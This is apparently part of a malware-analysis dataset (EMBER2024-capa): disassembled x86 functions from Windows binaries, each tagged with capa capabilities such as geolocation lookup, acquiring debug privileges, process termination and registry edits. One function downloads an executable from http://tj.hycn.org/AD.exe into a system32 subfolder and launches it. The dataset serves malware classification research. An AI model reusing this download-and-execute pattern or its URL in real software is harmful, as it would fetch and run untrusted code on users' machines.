joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405354
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4053ba
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.004042cc
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403028
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4053a4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4053c1
lea eax, [ebp - 0x10]
call fcn.00404084
ret

Function at 0x408608
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408641
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404174
jmp 0x40864a
mov eax, ebx
mov edx, esi
call fcn.004040d8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x408654
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408675
mov al, byte [esp]
jmp 0x408677
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x408d0c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x408b74
mov eax, dword [0x40e420]
cmp byte [eax], 0
je 0x408d88
mov eax, dword [0x40e374]
call fcn.00402f98
call fcn.004029b0
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00406a54
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x408dd0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x408dbe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x40e354]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40f660]
call fcn.00404cf8
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x4099d4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x409a38
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.004042cc
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00406858
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a3f
lea eax, [ebp - 0xc]
call fcn.00404084
ret

Function at 0x40ab10
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov byte [ebp - 5], cl
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
or dword [eax + 4], 0x40
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x38], edx
xor eax, eax
push ebp
push 0x40abd4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x40ab5d
mov eax, dword [ebp - 4]
cmp dword [eax + 0x20], 0x20
ja 0x40ab61
xor eax, eax
jmp 0x40ab63
mov al, 1
neg al
sbb esi, esi
test esi, esi
je 0x40abca
test bl, bl
je 0x40ab7d
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
push eax
call sub.user32.dll_WaitForInputIdle
cmp byte [ebp - 5], 0
je 0x40abca
cmp dword [ebp + 8], 0
jne 0x40aba0
push 0xffffffffffffffff
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
push eax
call sub.kernel32.dll_WaitForSingleObject
jmp 0x40abca
push 0x64
call sub.kernel32.dll_Sleep
push 0
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
jne 0x40abca
push 0x3e8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x40ab99
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40abe0
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov dword [eax + 4], edx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
test eax, eax
je 0x40ac07
test byte [ebp - 0xc], 0x40
jne 0x40ac07
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [eax + 0x38], edx
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40b228
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffd0
mov byte [esp], dl
mov esi, eax
xor ebx, ebx
push esi
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov edi, eax
test edi, edi
jne 0x40b381
call sub.kernel32.dll_GetLastError_1
cmp eax, 5
jne 0x40b3aa
cmp byte [esp], 0
jne 0x40b3aa
mov eax, dword [0x40e474]
cmp dword [eax], 2
je 0x40b277
push 5
call sub.kernel32.dll_SetLastError
jmp 0x40b3aa
mov dword [esp + 4], 0x10
lea eax, [esp + 8]
push eax
push 0
push 0x28
call sub.kernel32.dll_GetCurrentThread
push eax
call sub.advapi32.dll_OpenThreadToken
test eax, eax
jne 0x40b2c1
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x3f0
jne 0x40b3aa
lea eax, [esp + 8]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x40b3aa
mov dword [esp + 0x10], 1
mov dword [esp + 0x1c], 2
lea eax, [esp + 0x14]
push eax
push 0x40b3b4
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x24]
push eax
push 0x10
lea eax, [esp + 0x1c]
push eax
push 0
mov eax, dword [esp + 0x1c]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
test eax, eax
jne 0x40b31f
call sub.kernel32.dll_GetLastError_1
mov esi, eax
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_CloseHandle_1
push esi
call sub.kernel32.dll_SetLastError
jmp 0x40b3aa
call sub.kernel32.dll_GetLastError_1
cmp eax, 0x514
jne 0x40b33e
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_CloseHandle_1
push 5
call sub.kernel32.dll_SetLastError
jmp 0x40b3aa
push esi
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov edi, eax
call sub.kernel32.dll_GetLastError_1
mov esi, eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x10
lea eax, [esp + 0x2c]
push eax
push 0
mov eax, dword [esp + 0x1c]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [esp + 8]
push eax
call sub.kernel32.dll_CloseHandle_1
test edi, edi
jne 0x40b381
push esi
call sub.kernel32.dll_SetLastError
jmp 0x40b3aa
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x40b3a2
call sub.kernel32.dll_GetLastError_1
mov esi, eax
push edi
call sub.kernel32.dll_CloseHandle_1
push esi
call sub.kernel32.dll_SetLastError
jmp 0x40b3aa
push edi
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
mov eax, ebx
add esp, 0x30
pop edi
pop esi
pop ebx
ret

Function at 0x40b64c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov esi, edx
mov ebx, eax
push esp
push 0
lea eax, [esp + 0xc]
push eax
push 0
mov eax, esi
call fcn.004044f8
push eax
push ebx
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x40b678
mov dword [esp], 0xffffffff
mov eax, dword [esp]
pop ecx
pop edx
pop esi
pop ebx
ret
Function at 0x40b8f8
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40b972
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
lea edx, [ebp - 8]
mov eax, esi
call fcn.0040b58c
mov eax, dword [ebp - 8]
call fcn.004044f8
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x40b95c
mov eax, edi
call fcn.004044f8
push eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b979
lea eax, [ebp - 8]
call fcn.00404084
ret

Function at 0x40c470
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
lea esi, [ebp - 0x40]
xor eax, eax
mov dword [ebp - 4], eax
mov eax, esi
mov edx, 0x3c
call fcn.004058cc
mov dword [esi], 0x3c
xor eax, eax
mov dword [esi + 8], eax
mov eax, 0x40c548
mov dword [esi + 0xc], eax
mov eax, dword [0x40f86c]
call fcn.004044f8
mov dword [esi + 0x10], eax
mov eax, dword [0x40f870]
call fcn.004044f8
mov dword [esi + 0x14], eax
xor eax, eax
mov dword [esi + 0x1c], eax
mov dword [esi + 4], 0x40
xor eax, eax
push ebp
push 0x40c531
push dword fs:[eax]
mov dword fs:[eax], esp
push esi
call sub.shell32.dll_ShellExecuteExA
test eax, eax
je 0x40c527
cmp dword [esi + 0x20], 0x20
jbe 0x40c527
cmp dword [ebx + 0xc], 0
je 0x40c509
push 0
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x40c51e
push 0xffffffffffffffff
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x40c51e
push 0x3e8
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
je 0x40c4e7
mov eax, dword [esi + 0x38]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40c53b
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x40cc68
Capabilities:
Create thread

Disassembly:
push ebx
add esp, 0xfffffff4
mov ecx, 0x40cce8
mov edx, 0x40ccf8
mov eax, 0x80000002
call fcn.0040b8f8
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
lea eax, [esp + 8]
push eax
call fcn.0040bdfc
test eax, eax
je 0x40cc9e
cmp dword [esp], 6
jae 0x40cca2
xor eax, eax
jmp 0x40cca4
mov al, 1
neg al
sbb eax, eax
mov dword [0x40f884], eax
push 0x40f878
push 0
push 0x40f874
push 0x40c8f4
push 0x800
push 0
call sub.kernel32.dll_CreateThread
mov ebx, eax
mov dword [0x40f87c], ebx
test ebx, ebx
setne al
neg al
sbb eax, eax
add esp, 0xc
pop ebx
ret

Function at 0x40cd1c
Capabilities:
Terminate thread

Disassembly:
cmp dword [0x40f87c], 0
je 0x40cd62
mov dword [0x40f880], 0xffffffff
push 0x7d0
mov eax, dword [0x40f87c]
push eax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0x102
jne 0x40cd53
push 0
mov eax, dword [0x40f87c]
push eax
call sub.kernel32.dll_TerminateThread
mov eax, 0x40f874
mov edx, 0x14
call fcn.004058cc
ret
Function at 0x4016f0
Capabilities:
Create directory
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4de91b
mov eax, dword fs:[0]
push eax
sub esp, 0x210
mov eax, dword [0x526a28]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x526a28]
xor eax, esp
push eax
lea eax, [esp + 0x224]
mov dword fs:[0], eax
mov esi, ecx
call fcn.0040d87e
push 0x1598
lea eax, [esi + 0xb0]
push 0
push eax
call fcn.004344a0
mov ecx, dword [esi + 0x20]
add esp, 0xc
push 0
push ecx
call dword [sym.imp.USER32.dll_GetSystemMenu]
push eax
call fcn.00410d99
mov ebx, eax
test ebx, ebx
je 0x401801
call fcn.0041075a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x40177e
push 0x80004005
call fcn.00404ef0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
lea edi, [eax + 0x10]
mov dword [esp + 0x14], edi
push 0x65
mov dword [esp + 0x230], 0
call fcn.00410b68
test eax, eax
je 0x4017b4
push 0x65
push eax
lea ecx, [esp + 0x1c]
call fcn.00404990
mov edi, dword [esp + 0x14]
cmp dword [edi - 0xc], 0
je 0x4017da
mov ecx, dword [ebx + 4]
mov ebp, dword [sym.imp.USER32.dll_AppendMenuW]
push 0
push 0
push 0x800
push ecx
call ebp
mov edx, dword [ebx + 4]
push edi
push 0x10
push 0
push edx
call ebp
lea eax, [edi - 0x10]
mov dword [esp + 0x22c], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x401801
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esi + 0xa8]
mov edx, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push ecx
push 1
push 0x80
push edx
call edi
mov eax, dword [esi + 0xa8]
mov ecx, dword [esi + 0x20]
push eax
push 0
push 0x80
push ecx
call edi
lea edx, [esp + 0x18]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [esp + 0x18]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401846
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esi + 0xac]
call fcn.00404ce0
push 0x518638
push str.C:Windows_system32VPClient
lea ecx, [esi + 0x1b1c]
push 0x518688
push ecx
call fcn.00404780
push str.pack.dat
push str.C:Windows_system32VPClient
lea edx, [esi + 0x1b20]
push 0x518688
push edx
call fcn.00404780
push str.hy.ico
push str.C:Windows_system32VPClient
lea eax, [esi + 0x1b24]
push 0x518688
push eax
call fcn.00404780
add esp, 0x30
push 0x28
push str.C:windows_system32VPClienthymd.config
lea ecx, [esi + 0x1b28]
call fcn.00404ce0
push 0
push str.C:WINDOWS_system32VPClient
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
call fcn.00403900
lea edi, [esi + 0x1a08]
mov ecx, esi
call fcn.0040a5d0
push 0x10
push 0x258
push 0x320
push 0
push 0
push 0
mov ecx, edi
call fcn.00411b2a
push 0
push 0
push 0
push 0
push esi
push 0x403b50
call fcn.0040f065
mov eax, 1
mov ecx, dword [esp + 0x224]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00431c7a
add esp, 0x21c
ret
Function at 0x401bd0
Capabilities:
Check if file exists
Read .ini file

Disassembly:
sub esp, 0x214
mov eax, dword [0x526a28]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push str.C:windows_system32VPClient_vpconfig.ini
call edi
test eax, eax
jne 0x401c0a
push str.02.1
lea ebx, [esi + 0x1b00]
call fcn.004053d0
add esp, 4
push str.C:windows_system32VPClienthymd.config
call edi
test eax, eax
jne 0x401c28
push str.02.2
lea ebx, [esi + 0x1b00]
call fcn.004053d0
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push str.C:windows_system32VPClient_vpconfig.ini
push 0x10
lea eax, [esi + 0xb0]
push eax
push 0x5187bc
push str.ServerIP
push str.config
call edi
push str.C:windows_system32VPClient_vpconfig.ini
push 0x104
lea ecx, [esp + 0x10]
push ecx
push 0x5187f4
push str.Port
push str.config
call edi
push str.C:windows_system32VPClient_vpconfig.ini
push 0x10
lea eax, [esi + 0xd2]
push eax
push str.TFTP
push str.ProtocolType
mov edx, 0x45
push str.config
mov word [esi + 0xd0], dx
call edi
push str.C:windows_system32VPClient_vpconfig.ini
push 0x104
lea ecx, [esi + 0xf2]
push ecx
push str.C:Program_Files
push str.ProgramFilesDir
push str.config
call edi
push str.C:windows_system32VPClient_vpconfig.ini
push 0x20
lea edx, [esi + 0x2fa]
push edx
push str.16384
push str.blkSize
push str.config
call edi
push str.C:windows_system32VPClienthymd.config
push 0x104
lea eax, [esp + 0x10]
push eax
push 0x518890
push str.FreeSpaceAlarm
push str.config
call edi
lea ecx, [esp + 8]
push ecx
call fcn.00432409
add esp, 4
push str.C:windows_system32VPClienthymd.config
push 0x41
lea edx, [esi + 0x340]
push edx
push 0x5192a0
push str.ShortcutsName
push str.config
mov dword [esi + 0x33c], eax
call edi
push str.C:windows_system32VPClienthymd.config
push 0x400
lea eax, [esi + 0x3c2]
push eax
push 0x5192a0
push str.ShortcutsUrl
push str.config
call edi
push str.C:windows_system32VPClienthymd.config
push 0x41
lea ecx, [esi + 0xbc2]
push ecx
push 0x5192a0
push str.ShortcutsIcon
push str.config
call edi
push str.C:windows_system32VPClienthymd.config
push 0x400
lea edx, [esi + 0xc44]
push edx
push 0x5192a0
push str.HomePage
push str.config
call edi
push str.C:windows_system32VPClienthymd.config
push 0x100
lea eax, [esi + 0x1444]
push eax
push 0x5192a0
push 0x518920
push str.config
call edi
push str.C:windows_system32VPClienthymd.config
push 0x104
lea ecx, [esp + 0x10]
push ecx
push str.1024
push str.PageFileSize
push str.config
call edi
lea edx, [esp + 8]
push edx
call fcn.00432409
push 0x518950
lea ebx, [esi + 0x1b00]
mov dword [esi + 0x1644], eax
call fcn.004053d0
mov ecx, dword [esp + 0x21c]
add esp, 8
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00431c7a
add esp, 0x214
ret
Function at 0x4026a0
Capabilities:
Check if file exists

Disassembly:
push ebx
push ebp
mov ebp, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push esi
mov esi, dword [esp + 0x10]
xor ebx, ebx
push edi
add esi, 0x1b30
push str.A:_vp
push 0x104
push esi
call fcn.00432045
add esp, 0xc
xor edi, edi
jmp 0x4026d0
inc word [esi]
push esi
call ebp
test eax, eax
jne 0x402718
inc edi
cmp edi, 0x1a
jl 0x4026d0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x3e8
jl 0x4026b6
push esi
call ebp
test eax, eax
jne 0x402730
mov ebx, dword [esp + 0x14]
push 0x518a3c
add ebx, 0x1b00
call fcn.004053d0
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 4
mov ebx, dword [esp + 0x14]
push esi
push str.06._s
add ebx, 0x1b00
call fcn.004055b0
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret 4

Function at 0x402b60
Capabilities:
Create directory
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4dece8
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push ebx
push edi
mov eax, dword [0x526a28]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
push 0
lea ebx, [esi + 0xf2]
push ebx
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
call fcn.0041075a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402bb0
push 0x80004005
call fcn.00404ef0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push str.hys.img
lea ecx, [esi + 0x1b30]
push ecx
lea edi, [esi + 0x1b2c]
push 0x518688
push edi
mov dword [esp + 0x88], 0
call fcn.00404780
mov edx, dword [edi]
push ebx
push edx
lea eax, [esp + 0x28]
push str.hyvp.exe__a__f__s__m___s_
push eax
call fcn.00404780
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x4c]
push ecx
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call fcn.004344a0
mov edi, dword [esp + 0x3c]
xor edx, edx
add esp, 0x2c
mov dword [esp + 0x24], 0x44
mov dword [esp + 0x50], 1
mov word [esp + 0x54], dx
cmp dword [edi - 4], 1
jle 0x402c4f
mov eax, dword [edi - 0xc]
push eax
lea ecx, [esp + 0x14]
call fcn.00404b40
mov edi, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ebx, [esi + 0x1b00]
test eax, eax
je 0x402cc0
push 0x518be8
call fcn.004053d0
lea eax, [edi - 0x10]
add esp, 4
mov dword [esp + 0x78], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402ca9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
add esp, 0x70
ret
push str.11.
call fcn.004053d0
lea eax, [edi - 0x10]
add esp, 4
mov dword [esp + 0x78], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402cf1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
add esp, 0x70
ret
Function at 0x402d10
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4ded1b
mov eax, dword fs:[0]
push eax
sub esp, 0x280
mov eax, dword [0x526a28]
xor eax, esp
mov dword [esp + 0x27c], eax
push ebx
mov eax, dword [0x526a28]
xor eax, esp
push eax
lea eax, [esp + 0x288]
mov dword fs:[0], eax
lea eax, [esp + 0x18]
push eax
call fcn.00405220
xor eax, eax
push 0x44
mov dword [esp + 0x294], 0
push eax
lea ecx, [esp + 0x3c]
push ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call fcn.004344a0
mov eax, dword [esi + 0xac]
push eax
push str._shiarp.exe
lea ecx, [esp + 0x90]
xor edx, edx
push 0x104
push ecx
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x7c], 1
mov word [esp + 0x80], dx
call fcn.0043368e
add esp, 0x1c
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x38]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
lea ecx, [esp + 0x9c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ebx, [esi + 0x1b00]
test eax, eax
je 0x402e31
push 0x518c1c
call fcn.004053d0
add esp, 4
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x294], 0xffffffff
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402e2a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
jmp 0x402e76
push str.14.
call fcn.004053d0
add esp, 4
lea ecx, [esp + 0x1c]
push ecx
mov dword [esp + 0x294], 0xffffffff
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x402e74
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x288]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x27c]
xor ecx, esp
call fcn.00431c7a
add esp, 0x28c
ret
Function at 0x402fc0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x4dece8
mov eax, dword fs:[0]
push eax
sub esp, 0x64
push ebx
push esi
mov eax, dword [0x526a28]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
call fcn.0041075a
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x402fff
push 0x80004005
call fcn.00404ef0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x10], eax
push str.C:Windows_system32VPClient
lea ecx, [esp + 0x14]
push str._supdate.exe
push ecx
mov dword [esp + 0x84], 0
call fcn.00404780
mov esi, dword [esp + 0x1c]
add esp, 0xc
push 0
push 0
push esi
push str.http:__tj.hycn.org_AD.exe
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
je 0x40307a
push str.16.1
lea ebx, [edi + 0x1b00]
call fcn.004053d0
lea eax, [esi - 0x10]
add esp, 4
mov dword [esp + 0x78], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jmp 0x40314c
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0x2c]
push ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
call fcn.004344a0
add esp, 0xc
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
mov edx, 5
push 0
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x78], 1
mov word [esp + 0x7c], dx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea ebx, [edi + 0x1b00]
test eax, eax
je 0x403127
push 0x518cc8
call fcn.004053d0
lea eax, [esi - 0x10]
add esp, 4
mov dword [esp + 0x78], 0xffffffff
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403110
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x70
ret
push str.16.2
call fcn.004053d0
lea eax, [esi - 0x10]
add esp, 4
mov dword [esp + 0x78], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403158
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x70
ret